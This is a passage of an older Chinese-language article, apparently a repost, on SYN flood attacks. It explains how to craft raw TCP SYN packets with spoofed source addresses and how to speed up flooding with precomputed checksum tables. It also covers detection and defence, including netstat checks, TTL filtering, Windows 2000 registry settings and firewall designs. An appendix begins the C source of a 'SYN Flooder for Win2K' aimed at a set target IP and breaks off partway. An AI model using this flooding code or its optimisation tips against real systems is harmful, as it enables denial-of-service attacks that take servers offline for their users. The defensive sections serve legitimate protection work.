syn flood代码.txt

可以对黑客编程有一定的了解

        unsigned long saddr;     //源地址

        unsigned long daddr;     //目的地址

        char mbz;                    //置空

        char ptcl;                   //协议类型

        unsigned short tcpl;     //TCP长度

}psd_header;

然后我们将这两个字段复制到同一个缓冲区SendBuf中并计算TCP校验和：

memcpy(SendBuf,&psd_header,sizeof(psd_header));   

    memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

    tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

计算IP校验和的时候不需要包括TCP伪首部：

memcpy(SendBuf,&ip_header,sizeof(ip_header));

    memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

    ip_header.checksum=checksum((USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_header));

    再将计算过校验和的IP首部与TCP首部复制到同一个缓冲区中就可以直接发送了：

    memcpy(SendBuf,&ip_header,sizeof(ip_header));

    sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*) &DestAddr,sizeof(DestAddr));

   

因为整个TCP报文中的所有部分都是我们自己写入的（操作系统不会做任何干涉），所以我们可以在IP首部中放置随机的源IP地址，如果伪造的源IP地址确实有人使用，他在接收到服务器的SYN+ACK报文后会发送一个RST报文（标志位为00000100），通知服务器端不需要等待一个无效的连接，可是如果这个伪造IP并没有绑定在任何的主机上，不会有任何设备去通知主机该连接是无效的（这正是TCP协议的缺陷），主机将不断重试直到SYN Timeout时间后才能丢弃这个无效的半连接。所以当攻击者使用主机分布很稀疏的IP地址段进行伪装IP的SYN Flood攻击时，服务器主机承受的负荷会相当的高，根据测试，一台PIII 550MHz+128MB+100Mbps的机器使用经过初步优化的SYN Flooder程序可以以16,000包/秒的速度发送TCP SYN报文，这样的攻击力已经足以拖垮大部分WEB服务器了。

    稍微动动脑筋我们就会发现，想对SYN Flooder程序进行优化是很简单的，从程序构架来看，攻击时循环内的代码主要是进行校验和计算与缓冲区的填充，一般的思路是提高校验和计算的速度，我甚至见过用汇编代码编写的校验和函数，实际上，有另外一个变通的方法可以轻松实现优化而又不需要高深的编程技巧和数学知识，（老实说吧，我数学比较差:P），我们仔细研究了两个不同源地址的TCP SYN报文后发现，两个报文的大部分字段相同（比如目的地址、协议等等），只有源地址和校验和不同（如果为了隐蔽，源端口也可以有变化，但是并不影响我们算法优化的思路），如果我们事先计算好大量的源地址与校验和的对应关系表（如果其他的字段有变化也可以加入这个表），等计算完毕了攻击程序就只需要单纯的组合缓冲区并发送（用指针来直接操作缓冲区的特定位置，从事先计算好的对应关系表中读出数据，替换缓冲区相应字段），这种简单的工作完全取决于系统发送IP包的速度，与程序的效率没有任何关系，这样，即使是CPU主频较低的主机也能快速的发送大量TCP SYN攻击包。如果考虑到缓冲区拼接的时间，甚至可以定义一个很大的缓冲区数组，填充完毕后再发送（雏鹰给这种方法想了一个很贴切的比喻：火箭炮装弹虽然很慢，但是一旦炮弹上膛了以后就可以连续猛烈地发射了:）。

  

  

  

  

  

第三部分 SYN Flood攻击的监测与防御初探

    对于SYN Flood攻击，目前尚没有很好的监测和防御方法，不过如果系统管理员熟悉攻击方法和系统架构，通过一系列的设定，也能从一定程度上降低被攻击系统的负荷，减轻负面的影响。（这正是我撰写本文的主要目的）

    一般来说，如果一个系统（或主机）负荷突然升高甚至失去响应，使用Netstat 命令能看到大量SYN_RCVD的半连接（数量>500或占总连接数的10%以上），可以认定，这个系统（或主机）遭到了SYN Flood攻击。

    遭到SYN Flood攻击后，首先要做的是取证，通过Netstat –n –p tcp >resault.txt记录目前所有TCP连接状态是必要的，如果有嗅探器，或者TcpDump之类的工具，记录TCP SYN报文的所有细节也有助于以后追查和防御，需要记录的字段有：源地址、IP首部中的标识、TCP首部中的序列号、TTL值等，这些信息虽然很可能是攻击者伪造的，但是用来分析攻击者的心理状态和攻击程序也不无帮助。特别是TTL值，如果大量的攻击包似乎来自不同的IP但是TTL值却相同，我们往往能推断出攻击者与我们之间的路由器距离，至少也可以通过过滤特定TTL值的报文降低被攻击系统的负荷（在这种情况下TTL值与攻击报文不同的用户就可以恢复正常访问）

    前面曾经提到可以通过缩短SYN Timeout时间和设置SYN Cookie来进行SYN攻击保护，对于Win2000系统，还可以通过修改注册表降低SYN Flood的危害，在注册表中作如下改动：

首先，打开regedit，找到HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Tcpip\Parameters 

增加一个SynAttackProtect的键值，类型为REG_DWORD，取值范围是0-2，这个值决定了系统受到SYN攻击时采取的保护措施，包括减少系统SYN+ACK的重试的次数等，默认值是0（没有任何保护措施），推荐设置是2； 

增加一个TcpMaxHalfOpen的键值，类型为REG_DWORD，取值范围是100-0xFFFF，这个值是系统允许同时打开的半连接，默认情况下WIN2K PRO和SERVER是100，ADVANCED SERVER是500，这个值很难确定，取决于服务器TCP负荷的状况和可能受到的攻击强度，具体的值需要经过试验才能决定。 

    增加一个TcpMaxHalfOpenRetried的键值，类型为REG_DWORD，取值范围是80-0xFFFF，默认情况下WIN2K PRO和SERVER是80，ADVANCED SERVER是400，这个值决定了在什么情况下系统会打开SYN攻击保护。 

  

    我们来分析一下Win2000的SYN攻击保护机制：正常情况下，Win2K对TCP连接的三次握手有一个常规的设置，包括SYN Timeout时间、SYN-ACK的重试次数和SYN报文从路由器到系统再到Winsock的延时等，这个常规设置是针对系统性能进行优化的（安全和性能往往相互矛盾）所以可以给用户提供方便快捷的服务；一旦服务器受到攻击，SYN半连接的数量超过TcpMaxHalfOpenRetried的设置，系统会认为自己受到了SYN Flood攻击，此时设置在SynAttackProtect键值中的选项开始作用，SYN Timeout时间被减短，SYN-ACK的重试次数减少，系统也会自动对缓冲区中的报文进行延时，避免对TCP/IP堆栈造成过大的冲击，力图将攻击危害减到最低；如果攻击强度不断增大，超过了TcpMaxHalfOpen值，此时系统已经不能提供正常的服务了，更重要的是保证系统不会崩溃，所以系统将会丢弃任何超出TcpMaxHalfOpen值范围的SYN报文（应该是使用随机丢包策略），保证系统的稳定性。 

    所以，对于需要进行SYN攻击保护的系统，我们可以测试/预测一下访问峰值时期的半连接打开量，以其作为参考设定TcpMaxHalfOpenRetried的值（保留一定的余量），然后再以TcpMaxHalfOpenRetried的1.25倍作为TcpMaxHalfOpen值，这样可以最大限度地发挥WIN2K自身的SYN攻击保护机制。 

    通过设置注册表防御SYN Flood攻击，采用的是“挨打”的策略，无论系统如何强大，始终不能光靠挨打支撑下去，除了挨打之外，“退让”也是一种比较有效的方法。 

    退让策略是基于SYN Flood攻击代码的一个缺陷，我们重新来分析一下SYN Flood攻击者的流程：SYN Flood程序有两种攻击方式，基于IP的和基于域名的，前者是攻击者自己进行域名解析并将IP地址传递给攻击程序，后者是攻击程序自动进行域名解析，但是它们有一点是相同的，就是一旦攻击开始，将不会再进行域名解析，我们的切入点正是这里：假设一台服务器在受到SYN Flood攻击后迅速更换自己的IP地址，那么攻击者仍在不断攻击的只是一个空的IP地址，并没有任何主机，而防御方只要将DNS解析更改到新的IP地址就能在很短的时间内（取决于DNS的刷新时间）恢复用户通过域名进行的正常访问。为了迷惑攻击者，我们甚至可以放置一台“牺牲”服务器让攻击者满足于攻击的“效果”（由于DNS缓冲的原因，只要攻击者的浏览器不重起，他访问的仍然是原先的IP地址）。 

    同样的原因，在众多的负载均衡架构中，基于DNS解析的负载均衡本身就拥有对SYN Flood的免疫力，基于DNS解析的负载均衡能将用户的请求分配到不同IP的服务器主机上，攻击者攻击的永远只是其中一台服务器，虽然说攻击者也能不断去进行DNS请求从而打破这种“退让”策略，但是一来这样增加了攻击者的成本，二来过多的DNS请求可以帮助我们追查攻击者的真正踪迹（DNS请求不同于SYN攻击，是需要返回数据的，所以很难进行IP伪装）。 

  

    对于防火墙来说，防御SYN Flood攻击的方法取决于防火墙工作的基本原理，一般说来，防火墙可以工作在TCP层之上或IP层之下，工作在TCP层之上的防火墙称为网关型防火墙，网关型防火墙与服务器、客户机之间的关系如下图所示： 

  

外部TCP连接                内部TCP连接 

    [客户机] =================>[防火墙] =================>[服务器] 

    

    如上图所示，客户机与服务器之间并没有真正的TCP连接，客户机与服务器之间的所有数据交换都是通过防火墙代理的，外部的DNS解析也同样指向防火墙，所以如果网站被攻击，真正受到攻击的是防火墙，这种防火墙的优点是稳定性好，抗打击能力强，但是因为所有的TCP报文都需要经过防火墙转发，所以效率比较低由于客户机并不直接与服务器建立连接，在TCP连接没有完成时防火墙不会去向后台的服务器建立新的TCP连接，所以攻击者无法越过防火墙直接攻击后台服务器，只要防火墙本身做的足够强壮，这种架构可以抵抗相当强度的SYN Flood攻击。但是由于防火墙实际建立的TCP连接数为用户连接数的两倍（防火墙两端都需要建立TCP连接），同时又代理了所有的来自客户端的TCP请求和数据传送，在系统访问量较大时，防火墙自身的负荷会比较高，所以这种架构并不能适用于大型网站。（我感觉，对于这样的防火墙架构，使用TCP_STATE攻击估计会相当有效:） 

    工作在IP层或IP层之下的防火墙（路由型防火墙）工作原理有所不同，它与服务器、客户机的关系如下图所示： 

[防火墙] 数据包修改转发 

    [客户机]========|=======================>[服务器] 

TCP连接 

  

    客户机直接与服务器进行TCP连接，防火墙起的是路由器的作用，它截获所有通过的包并进行过滤，通过过滤的包被转发给服务器，外部的DNS解析也直接指向服务器，这种防火墙的优点是效率高，可以适应100Mbps-1Gbps的流量，但是这种防火墙如果配置不当，不仅可以让攻击者越过防火墙直接攻击内部服务器，甚至有可能放大攻击的强度，导致整个系统崩溃。 

    在这两种基本模型之外，有一种新的防火墙模型，我个人认为还是比较巧妙的，它集中了两种防火墙的优势，这种防火墙的工作原理如下所示： 

第一阶段，客户机请求与防火墙建立连接： 

SYN                           SYN+ACK                           ACK 

    [客户机]---- >[防火墙]   =>   [防火墙]-------- >[客户机]   =>   [客户机]--- >[防火墙] 

  

第二阶段，防火墙伪装成客户机与后台的服务器建立连接 

[防火墙]< =========== >[服务器] 

TCP连接 

  

    第三阶段，之后所有从客户机来的TCP报文防火墙都直接转发给后台的服务器 

防火墙转发 

[客户机]< ======|======= >[服务器] 

                     TCP连接 

    这种结构吸取了上两种防火墙的优点，既能完全控制所有的SYN报文，又不需要对所有的TCP数据报文进行代理，是一种两全其美的方法。 

近来，国外和国内的一些防火墙厂商开始研究带宽控制技术，如果能真正做到严格控制、分配带宽，就能很大程度上防御绝大多数的拒绝服务攻击，我们还是拭目以待吧。 

  

附录：Win2000下的SYN Flood程序

改编自Linux下Zakath编写的SYN Flooder

编译环境：VC++6.0,编译时需要包含ws2_32.lib

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//                                                                      //

//  SYN Flooder For Win2K by Shotgun                                    //

//                                                                      //

//  THIS PROGRAM IS MODIFIED FROM A LINUX VERSION BY Zakath             //

//  THANX Lion Hook FOR PROGRAM OPTIMIZATION                            //

//                                                                      //

//  Released:    [2001.4]                                                //

//  Author:     [Shotgun]                                               //

//  Homepage:                                                           //

//              [http://IT.Xici.Net]                                    //

//              [http://WWW.Patching.Net]                               //

//                                                                      //

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#include <winsock2.h>

#include <Ws2tcpip.h>

#include <stdio.h>

#include <stdlib.h>

#define SEQ 0x28376839

#define SYN_DEST_IP "192.168.15.250"//被攻击的IP

#define FAKE_IP "10.168.150.1"       //伪装IP的起始值，本程序的伪装IP覆盖一个B类网段

#define STATUS_FAILED 0xFFFF      //错误返回值

  

typedef struct _iphdr              //定义IP首部

{

    unsigned char h_verlen;            //4位首部长度,4位IP版本号

    unsigned char tos;               //8位服务类型TOS

    unsigned short total_len;      //16位总长度（字节）

    unsigned short ident;            //16位标识

    unsigned short frag_and_flags;  //3位标志位

    unsigned char  ttl;              //8位生存时间 TTL

    unsigned char proto;         //8位协议 (TCP, UDP 或其他)

    unsigned short checksum;        //16位IP首部校验和

    unsigned int sourceIP;            //32位源IP地址

    unsigned int destIP;         //32位目的IP地址

}IP_HEADER;

  

struct                              //定义TCP伪首部

{

        unsigned long saddr;     //源地址

        unsigned long daddr;     //目的地址

        char mbz;

        char ptcl;                   //协议类型

        unsigned short tcpl;     //TCP长度

}psd_header;

  

typedef struct _tcphdr             //定义TCP首部

{

    USHORT th_sport;               //16位源端口

    USHORT th_dport;               //16位目的端口

    unsigned int th_seq;         //32位序列号

    unsigned int th_ack;         //32位确认号

    unsigned char th_lenres;        //4位首部长度/6位保留字

    unsigned char th_flag;            //6位标志位

    USHORT th_win;                 //16位窗口大小